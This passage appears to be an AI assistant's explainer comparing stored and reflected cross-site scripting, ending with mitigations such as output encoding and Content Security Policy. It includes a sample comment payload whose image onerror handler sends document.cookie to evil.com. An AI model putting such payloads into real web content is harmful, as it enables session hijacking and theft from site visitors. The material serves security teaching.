Payload is saved to a database or server-side storage
The malicious script is permanently stored
Retrieved and executed for anyone who accesses that content
Doesn't require the victim to click a link
The attack is persistent and affects all users who view the stored content
Example: A comment, profile bio, or forum post containing XSS payload
Which is more dangerous?
Stored XSS is generally considered more dangerous for several reasons:
Persistence: The payload remains in the system indefinitely, affecting all users who access that content
No user interaction required: With reflected, the attacker needs to trick someone into clicking a link. With stored, anyone visiting the page is automatically attacked
Wider reach: Stored XSS can affect many users, while reflected typically affects only those who click the malicious link
Detection difficulty: Stored XSS is harder to detect because the malicious code is embedded in legitimate-looking content
Reputation damage: If a site serves malicious content from its own database, it's more damaging to the site's reputation
Attack scale: A stored XSS can affect employee networks, user bases, etc. automatically
Let me provide a comprehensive answer with examples.
Victim must click the malicious link to be attacked.
Stored XSS
javascript
// User submits comment with payload
Comment: "Great article! <img src=x onerror="fetch('http://evil.com?cookies='+document.cookie)">"
// Payload saved to DB
// EVERY user viewing the post gets infected
Stored XSS is Far More Dangerous
Why:
Scale: Affects all users, not just link-clickers
No social engineering needed: Victim doesn't need to be tricked into clicking
Permanence: Remains until cleaned out of database
Credibility exploited: Comes from the trusted site itself
Automated attacks: Worms can propagate across user networks
Trust violation: Users assume site content is safe
Real-world impact:
Mass credential theft from comment sections
Malware distribution at scale
Session hijacking for thousands simultaneously
Data exfiltration while visitors browse
Mitigation
Both require:
Input validation/sanitization
Output encoding (context-aware)
Content Security Policy (CSP)
HTTPOnly/Secure cookies
Stored-specific:
Server-side validation (not just client-side)
Regular security audits of stored content
Stored XSS should be your higher priority in threat modeling.